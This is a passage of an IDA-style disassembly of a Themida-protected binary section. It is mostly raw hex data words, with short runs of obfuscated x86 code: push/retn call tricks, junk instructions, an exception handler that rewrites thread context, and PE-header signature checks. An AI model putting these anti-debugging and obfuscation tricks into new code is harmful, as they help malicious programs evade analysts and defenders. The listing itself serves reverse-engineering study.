1419FB00h, 0AC8264EAh dd 570C5FCEh, 849AF7EFh, 0BC8188C1h, 4F6E8D8Dh, 0C7800628h dd 6AE1FF9Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0DAB3C352h, 69D6C36Fh, 2C31BD8Bh dd 0DB810628h, 3E450059h, 3DBD83FCh, 62811h, 3E1840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 51E804C3h, 0DBBF0F51h, 113DBD83h, 0F010628h dd 3CD84h, 3DBD8300h, 3062811h, 38A860Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0D362A1C3h, 0B3FAB37Dh, 81663609h, 60991CEFh, 66DF8B66h dd 8529D98Ch, 62812C9h, 6A04E180h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5A3CC356h dd 8B66C503h, 0FC90AFAh, 0D784h, 5D9D8B00h, 0F062823h dd 88h, 0C9858B00h, 33062824h, 282D0585h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0FCA89146h, 0B7524B0Dh, 8B665062h, 240489FEh, 0FE9h dd 8436E900h, 3512C25Dh, 72F01BC0h, 0A061D3E6h, 9E8006Ah dd 56000000h, 0B3D25A05h, 752C8061h, 3F9B589h, 685F0628h dd 80A79B1Fh, 48A0Fh, 60520000h, 4815B61h, 7768E024h, 0D781667Fh dd 95FF9E91h, 628176Dh, 8589F98Ah, 62BA3FDh, 85B589FCh dd 0E906282Eh, 220h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 82C35141h, 73924BCDh, 5CAEBFC8h, 29606FFEh dd 2818A9B5h, 69B52B06h, 61062802h, 0A3F5858Bh, 6A062Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 24D5B0C3h, 0A1CE56CFh, 0F9F797Eh, 68Ah, 0F5BD8B00h dd 0C706280Ch, 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 3D104B1Bh, 3C29BA89h dd 0A3F9B58Bh, 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9531D7C3h, 62818E5h, 2B65858Bh dd 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8984C3C3h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 3D39D7B8h, 0EA714778h dd 0C9858B9Fh, 0F062824h, 889h, 0F3815100h, 4DDBFF80h dd 446895Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 27C35242h, 4A60BB5Eh, 0E9FE8BE6h, 0Ch, 587D564Ch dd 0FC42653Bh, 5A2E42EFh, 8C0F5196h, 2, 505B6160h, 96DA8B66h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 18C35242h dd 595365B2h, 0FA8B6615h, 0A3F5B5FFh, 81FC062Bh, 78AD4BCFh dd 0F34F6875h, 8B66D04Dh, 240481D9h, 2FD110B0h, 124DBD8Bh dd 9D890628h, 62832ADh, 0A3FD858Dh, 6A062Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 349469C3h dd 0B588356Ah, 0FABFDA70h, 904250EEh, 0F50FB8Bh, 1283h dd 50525000h, 5A310F52h, 0F310F58h, 81h, 90585A00h, 176D95FFh dd 6A0628h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 8D290DC3h, 62831E1h, 11E861h, 0FCE0000h dd 14F6F30Ah, 0C7CDC629h, 62A347BAh, 0FC6128Dh, 0C75BDAB7h dd 28113D85h, 306h, 69BD8B00h, 8306280Eh, 2BA3FDBDh, 840F0006h dd 2Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 0BFC35141h, 52543855h, 0B2F3864Fh, 1DE93Eh, 7DB70000h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h dd 28132985h, 3DBD8306h, 3062811h, 473850Fh, 0BB660000h dd 0BD8328ACh, 62BA3FDh, 62840F00h, 0E9000004h, 9, 407C46A7h dd 2B51E216h, 0FDB5FF35h, 6A062BA3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FF36C351h dd 0E9B750A6h, 9595FF5Fh, 6A06280Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8F9FC350h dd 2C6AF582h, 8BAC6127h, 281911BDh, 0F1B58B06h, 0FC062BA3h dd 8800Fh, 89530000h, 282BD1B5h, 6C75B06h, 10001h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 9BC35545h, 79BD8B7Dh dd 29062822h, 280EF985h, 0D820F06h, 50000000h, 6E9h, 9C404200h dd 5B73F78Eh, 0EE950h, 0B4360000h, 0D999242Fh, 47F43D9Dh dd 0D59B258Dh, 6A243489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0CB8AC352h, 41BD8956h dd 8B06282Eh, 2821119Dh, 0FDB5FF06h, 50062BA3h, 21499589h dd 0FF5B0628h, 28201995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0A50E582Ah dd 74D7100h, 59BD89E7h, 8B062809h, 2BA3F1B5h, 10E906h dd 0C10F0000h, 452290E1h, 72B2DFB6h, 861F7020h, 858BAE43h dd 62817D5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 6DC35040h, 5F6275E5h, 897BF6F0h, 0C486h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0FE910CEh, 54000000h, 0E52DAA34h, 0E915F935h, 9C6D30AFh dd 958B4EE5h, 6280715h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h dd 1Ch, 2CC35545h, 0F951C0CBh, 0C59DB129h, 0F7CCEBFh, 799D8B50h dd 83062804h, 816604C2h, 896DDDD3h, 0CE92050h, 53000000h dd 88F3C493h, 0AA5C9513h, 29078CE5h, 281E8995h, 0D9858D06h dd 6A062BB8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0FB6EC355h, 0E2BE23F9h, 0A6293429h dd 8689D88Bh, 0B8h, 6A61F860h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 13E92Dh, 3FD70000h dd 22E4506Bh, 0ADE0EB51h, 0ACCEFB25h, 4C2B42DAh, 0FDB5FFEAh dd 6A062BA3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0CC28C350h, 0DF3BEF81h, 95FF1BAAh dd 6282CD1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 60C35242h, 240DF7D8h, 0FA1ABC7h, 389h, 0D9B70F00h dd 7E8h, 24ABDC00h, 12CFA0D5h, 55399DBFh, 50965B22h, 0FF88A52h dd 50585A31h, 96D88B66h, 0FFDE8B66h, 2BA3FDB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0FFA84A3Ah, 2829B995h, 6E906h, 93100000h, 4074A9F3h dd 0C55BD83h, 0F000628h, 4B84h, 85BD8B00h, 9606280Eh, 310F5250h dd 0AE8h, 0BC1D6900h, 505F8249h, 6659E1C8h, 5B4CDEBFh dd 9650585Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 67C35343h, 0B614C5D6h, 9D03A9B7h, 6280D01h, 0A3FDB5FFh dd 95FF062Bh, 6282285h, 1F6DB589h, 0B5FF0628h, 62BA3FDh dd 1021BD8Bh, 95FF0628h, 62810C1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 5C35040h, 0D5B58B60h, 66062814h dd 0F458F781h, 61BD8361h, 2062818h, 73840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 867927C3h, 4AF1C575h, 12B99D8Bh, 858B0628h, 6281259h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D5C35242h dd 8B57BCBEh, 2804A9BDh, 0C65B06h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 585C7FFh, 62813h dd 8B000000h, 280651BDh, 0F3D0E906h, 8589FFFFh, 6282979h dd 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0E4AB1CC3h, 2C05858Dh, 6A0628h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 9D8B03C3h dd 6282999h, 13199D89h, 60900628h, 8B66EEB2h, 8B5061D3h dd 6A90D9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0F6D06C3h, 68Fh, 0E1BD3300h, 6A062832h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 6AF5A1DFh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 7B858D2Ch, 6A062D2Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CDC6C351h dd 0BD89BAC7h, 6280225h, 6A05C083h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7683C351h dd 0B07A7756h, 669C0F70h, 90CBC7BFh, 71BB5260h, 5A16BB85h dd 0DBB0BE66h, 8B605061h, 0B2BB66C7h, 6A90613Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0CC4EC356h, 0A257249h, 0BB4B2491h, 4D775E24h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 18CF86C3h, 5D74E462h, 8B84F8B2h, 28101DBDh, 89006A06h dd 2833718Dh, 3195FF06h, 6A062824h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0D999C350h dd 8DF43D9Dh, 2B94F38Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 1B6D09E8h, 0A90852AFh dd 8E0F5243h, 6, 840Fh, 0FF5B0000h, 0D98B66D1h, 2415BD83h dd 0F010628h, 6385h, 45858900h, 6A062802h, 53006A02h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 78C3790Ah, 71D1869Dh, 0D7811ACCh, 110B1D72h, 0E9525090h dd 0Dh, 8332ECD5h, 0E63EAC12h, 0D1A227D7h, 66310F95h, 585ADE8Bh dd 90F98B50h, 52D2B060h, 5BDE8B66h, 0D195FF61h, 0F906282Ch dd 0E29E9h, 0E800h, 815D0000h, 2D2E85EDh, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8B62DC1Bh, 281F6DBDh, 8DD88B06h, 2B85B085h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 971C384Dh, 0B1CF8164h, 90036AABh, 0FE950h, 7A1A0000h dd 17609E45h, 6F0E227Bh, 15EBE437h, 8A0F9033h, 6, 51D9D29h dd 0FF640628h, 35h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0D1C242FBh, 8A60CD35h dd 0CE9C1h, 0C8140000h, 809F8395h, 218B42FAh, 89618B07h dd 282F5185h, 25896406h, 0 ; --------------------------------------------------------------------------- pusha jmp loc_59C2A0 ; --------------------------------------------------------------------------- dw 1588h dd 2B6FF232h, 94847FBBh ; --------------------------------------------------------------------------- loc_59C2A0: ; CODE XREF: Themida_:0059C291j push ecx pusha popa pop ebx popa inc dword ptr [ebp+6281659h] cmc push 0FFFFFFFFh push 0 push ebp call sub_59C2B9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C2B9 proc near ; CODE XREF: Themida_:0059C2B1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_59C2B9 endp ; --------------------------------------------------------------------------- jnz short near ptr loc_59C2CC+1 cld loc_59C2CC: ; CODE XREF: Themida_:0059C2C9j push dword ptr [ebp+6282B59h] mov bl, dl call dword ptr [ebp+6282DC1h] jmp loc_59C410 ; --------------------------------------------------------------------------- db 0F9h dd 68D0Fh, 9D330000h, 6280975h, 0BB6600B0h, 70E6E2BCh dd 0D18D8953h, 5B062811h, 0BD0B71E4h, 62824F9h, 830F613Ch dd 104h, 68F0Fh, 0BD0B0000h, 6281035h, 8BC8B60Fh, 280F319Dh dd 6BA06h, 0C18B0000h, 0DF98589h, 0E8C10628h, 0EBBF6604h dd 0E2F766A7h, 11399D89h, 0C82B0628h, 88E0Fh, 0F520000h dd 8Bh, 0D18B5F00h, 0BBE9h, 0B99D8900h, 80062818h, 858BCBEBh dd 4947554Ch, 4F9EE381h, 9D8961B5h, 62826F9h, 6007C083h dd 2681B58Bh, 0B58B0628h, 6281FD1h, 0C08361h, 830FD03Bh dd 29h, 9D035360h, 628150Dh, 0F6B70F59h, 72E961h, 12E90000h dd 2000000h, 1FE3CBCDh, 0BE7388D3h, 209A1BB2h, 55B151C8h dd 0FF8D8B9Ah, 0E8FFFFFFh, 14h, 12060AA8h, 0C0F0B9F1h dd 0B12EBBCCh, 0A7FB5C94h, 0F0622C37h, 70D9D89h, 835F0628h dd 840F01E1h, 2Ch, 0E9DABF0Fh, 0Ah, 17339655h, 0DE930DD4h dd 0A5830B1Dh, 0FFFFFFFFh, 89FE8BFEh, 47554C95h, 61BD8949h dd 0E9062823h, 0 ; --------------------------------------------------------------------------- loc_59C410: ; CODE XREF: Themida_:0059C2DAj lea esi, [ebp+62CACA8h] add [ebp+628263Dh], edi push 0 sub di, 0EC1Bh mov edi, [ebp+6283339h] call dword ptr [ebp+6280465h] sbb bx, 2CB5h mov ecx, 0FA0h movzx edi, si and ecx, 0FFFFFFFCh push 0 push ebp call sub_59C44A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C44A proc near ; CODE XREF: Themida_:0059C442p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_59C44A endp ; --------------------------------------------------------------------------- dw 0A46Eh ; --------------------------------------------------------------------------- cdq mov edi, 795C49E7h cld mov di, 9B79h sub eax, eax push 0 push edx call sub_59C474 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C474 proc near ; CODE XREF: Themida_:0059C46Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_59C474 endp ; --------------------------------------------------------------------------- dd 9EA62C7Bh, 0BA6903h, 8B000000h, 2824FDBDh, 0C233AD06h dd 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 795536C8h dd 83D78166h, 0FBBF0F94h, 880Dh, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0D42F64DDh dd 21D58D89h, 958B0628h, 6280715h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0CEC35242h, 9E8h, 0A3677F00h dd 2A78DA42h, 0F5F4CBAh, 383h, 0FFB70F00h, 21BD8D8Bh, 0F500628h dd 28Dh, 5F616000h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0BF0F5818h, 51006ADEh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 275C8031h, 25A1BD83h dd 0F000628h, 7184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 71858954h, 0F062811h dd 0B8DAB7h, 0E9000000h, 13h, 20ADBD5Ah, 0D991D965h, 47320865h dd 0A7DCCEEBh, 8DDD1C1Eh, 284F6E8Dh, 6AE1FF06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 3F8DC350h, 0D2F68981h, 9548BD17h, 0BD83D88Bh, 628113Dh dd 0B5840F00h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 5A16C357h, 8E87E0C5h dd 81C87868h, 7EE865C3h, 3DBD8347h, 1062811h, 499840Fh dd 0BD8B0000h, 6280305h, 71EF8166h, 3DBD83E2h, 3062811h dd 44B860Fh, 81660000h, 6024C2EFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0C6C35646h, 301A782Ah, 0BF66982Eh dd 8C66DE5Eh, 959529D9h, 80062807h, 6A04E1h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 573F33C3h dd 0BD8B72A8h, 6283319h, 0C040BB66h, 840FC90Ah, 1BFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 22C35545h, 0EB0BDBEBh dd 26D58D89h, 858B0628h, 62824C9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 80C35242h, 67427E48h, 66D7664Ch dd 335D6FBFh, 282D0585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0FE924ECh, 10000000h dd 3672A082h, 0B9BB5D9Fh, 68FC154Ah, 6050AF46h, 0C16BA60h dd 0FE963C4h, 9E000000h, 4109241Fh, 0E185A48Ah, 7A87CC6Ch dd 6161E820h, 89240489h, 2808519Dh, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 3866C357h, 95091ACFh, 6280F8Dh, 4E8h, 1F03FF00h, 9E800h dd 90810000h, 1E202082h, 500F8747h, 0F5F5652h, 830F31h dd 5A000000h, 8B505F58h, 52042444h, 0E8616060h, 11h, 64393C06h dd 10E098CBh, 0AD053BB8h, 0D0D02EB8h, 5B615B02h, 0EE9008Bh dd 39000000h, 0CC80415Fh, 0A4F1B7FBh, 9BAE441Ah, 244489C4h dd 830F04h, 58000000h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0E8C35242h, 0FF7A4EEEh, 28176D95h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0BC446035h, 89F88B26h, 2BA3FD85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 801A782Ah dd 0AFE923D7h, 89000001h, 2804F98Dh, 46D38106h, 8B377F51h dd 2BA3F585h, 143ABB06h, 0C71EA7h, 18h, 68B0Fh, 9D890000h dd 62822FDh, 0A3F9B58Bh, 6A062Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0ABDF65C3h, 0AAD83D59h dd 1451BD8Bh, 8BF80628h, 282B6585h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 5ABF2252h dd 86F39A24h, 0BB6602DFh, 689143Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 8AC35343h, 267B89Ch, 0FC8BCF8Fh dd 0C9858B06h, 6A062824h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0BFF8C352h, 50044689h dd 0D29969BFh, 2434893Ch, 0A5A7BB66h, 0A3F5B5FFh, 6A062Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0B3EB1AC3h, 0CEF88C28h, 5F68F953h, 0F3E6E21h, 0C86h dd 6E800h, 0F9C40000h, 0BA397A66h, 2434815Bh, 3E7122A0h dd 116DBD03h, 858D0628h, 62BA3FDh, 0D9BD8B50h, 5B062812h dd 0DE8B6650h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0AC01C357h, 298589D7h dd 0E906280Ch, 8, 0EF2F45D5h, 0CDEE79FFh, 176D95FFh, 6A0628h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 259773C3h, 605B395Dh, 0CE92Ah, 6B9D0000h, 3089037Eh dd 0DFE812A7h, 8961F734h, 282705B5h, 3D85C706h, 3062811h dd 0E9000000h, 6, 2908D241h, 0BD83BE32h, 62BA3FDh, 56840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 6079C356h, 25DB2D18h, 3F1BD8Bh dd 45E90628h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0E973C350h, 9, 0A35E1FB8h dd 52109AEBh, 0C3050F3h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 6AFEB70Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 83A4C351h dd 28113DBDh, 850F0306h, 46Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 3C35343h, 2C7E8AC3h, 1A01BD8Bh dd 0CEBB0628h, 830AC46Ch, 2BA3FDBDh, 840F0006h, 432h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CCC35343h, 0FF422B98h dd 2BA3FDB5h, 3AC38106h, 8B123E6Fh, 2824799Dh, 9595FF06h dd 6A06280Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 5AE9C351h, 2903222Eh, 2803C995h dd 0F1B58B06h, 89062BA3h, 28082DB5h, 106C706h, 6A000100h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 5CF2C352h, 0BF660EF9h, 8D0F2270h, 0Ch, 68A0Fh dd 8D0F0000h, 0 dd 89D98B50h, 0B5FF2434h, 62BA3FDh, 0FFD9BF0Fh, 28201995h dd 0EE806h, 0F4270000h, 0C87F4F41h, 59DD9A16h, 0EF5E332Fh dd 23FBBB66h, 0F1B58B5Fh, 6A062BA3h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0C6BDC352h dd 61DBE919h, 0F567418h, 87h, 858B5F00h, 62817D5h, 263D9D8Bh dd 86890628h, 0C4h, 9AFABB57h, 0E95F04A4h, 9, 60AE3B4Bh dd 1EB4007h, 15958B73h, 0F5062807h, 6A04C283h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0CFFAC353h, 56BFCE4Ch, 0E852E83Eh, 13h, 3A747h, 9974702Fh dd 0F4B48549h, 66A873Ch, 29CF2C72h, 2805C99Dh, 895F5B06h dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0F1D0AC3h, 385h, 0DF8B6600h, 0B8D9858Dh dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 6E588AC3h, 0E9523FC8h, 9, 0DCDFC059h, 0A99E8C06h dd 0B8868909h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0E847C353h, 0Eh, 897D61A6h dd 613E81FAh, 0B2802725h, 820F2EFDh, 6, 12E1BD23h, 6A5B0628h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 6B4F8DA1h, 26E18589h, 0BD8B0628h, 628003Dh dd 0A3FDB5FFh, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 6259A6C3h, 727DE0DBh, 812EC731h dd 0FF89C7CBh, 0D195FF60h, 6A06282Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EA6CC352h dd 58B0Fh, 0A5BF0000h, 50634427h, 6A243489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0FAD9C356h, 0B5236071h, 62833BDh, 0FDB5FF61h, 0F062BA3h dd 38Bh, 21E78000h, 29B995FFh, 6A0628h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 492886C3h dd 0F9DE9706h, 6E9h, 859F2E00h, 8381F10Ah, 280C55BDh, 840F0006h dd 5Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch dd 70C35141h, 0D0170FF1h, 0E65B8723h, 6DBF6650h, 2434893Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7DC35141h dd 57CDD67Fh, 95675126h, 0B9BD8B18h, 66062804h, 1A2DEB81h dd 0A3FDB5FFh, 95FF062Bh, 6282285h, 7E9h, 0CA63A00h, 1252496Ch dd 0A3FDB5FFh, 9D8B062Bh, 62820B1h, 10C195FFh, 6A0628h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 210149C3h, 8321359Dh, 281861BDh, 840F0206h, 4Ch, 0FDF8B66h dd 68Eh, 49BD8900h, 8B062825h, 28125985h, 9BB6606h, 6840FABh dd 2B000000h, 2814219Dh, 0C606h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 2EC35343h, 170830E4h, 65A23353h dd 130585C7h, 628h, 820F0000h, 6, 2511BD8Bh, 29E90628h dd 6AFFFFF3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E81CC355h, 0Bh, 0DBE42779h, 34E09C52h dd 5618BC96h, 12E9h, 37572400h, 0E2C54C5Ch, 0D6C5085Eh dd 0E1EC52CBh, 5B17CA55h, 0C381665Bh, 0C18B0884h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 30C35040h, 0BAF81Ah dd 81F00E10h, 0EAh, 14C283F0h, 0F399589h, 0EA830628h, 4F858D14h dd 50062D3Dh, 35FF64h, 64000000h, 2589h, 0E80000h, 58000000h dd 25C22Bh, 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h dd 0D0033C50h, 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h dd 0C88BFFFFh, 2BDD8589h, 40030628h, 50B70F3Ch, 0A5958906h dd 8B062804h, 95895050h, 6282CE5h, 0F805h, 0C508B00h, 9589D103h dd 6280FF1h, 89085003h, 2818F595h, 58F6406h, 0 ; --------------------------------------------------------------------------- add esp, 4 jmp loc_59D0A7 ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_59D0A7: ; CODE XREF: Themida_:0059D08Fj cmp dword ptr [ebp+6283311h], 0 jz loc_59D0D8 mov byte ptr [ebp+6280D25h], 47h push 0D49AA7D2h push dword ptr [ebp+628140Dh] lea eax, [ebp+62B6F58h] call eax push 0 call eax mov [ebp+628188Dh], eax loc_59D0D8: ; CODE XREF: Themida_:0059D0AEj mov edx, ebx lea ecx, [ebp+62D3E5Eh] and ebx, 7E38045Ah cmc mov [ebp+6280715h], ecx push 0 push ecx call sub_59D0F8 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59D0F8 proc near ; CODE XREF: Themida_:0059D0F0p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_59D0F8 endp ; --------------------------------------------------------------------------- sub al, 15h dec esi div dword ptr [ebx-4274ED8Ch] std adc al, 28h push es jb loc_59D11D mov bh, 77h loc_59D11D: ; CODE XREF: Themida_:0059D115j mov dword ptr [ebp+62821BDh], 5FE4h jmp loc_59D13C ; --------------------------------------------------------------------------- dd 51A2A700h, 763AD26Bh, 0E606E6FFh, 4118CEFh ; --------------------------------------------------------------------------- loc_59D13C: ; CODE XREF: Themida_:0059D127j mov dword ptr [ebp+628113Dh], 0 push 0 push esi call sub_59D151 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59D151 proc near ; CODE XREF: Themida_:0059D149p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_59D151 endp ; --------------------------------------------------------------------------- db 4Bh, 34h, 0E8h dd 5, 5B5C7405h, 28F28165h, 58142B4Fh, 5E1B5FFh, 6A0628h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 95FF7CC3h, 62814D9h, 95FF006Ah, 6280465h, 0CEBC08Bh dd 8C602DA7h, 0C60CC030h, 0B735038Ah, 3F188D8Dh, 6A062Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 2D5D71C3h, 6EBF568Eh, 7158D89h, 6A0628h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 110EACC3h dd 21BD85C7h, 63600628h, 0BD890000h, 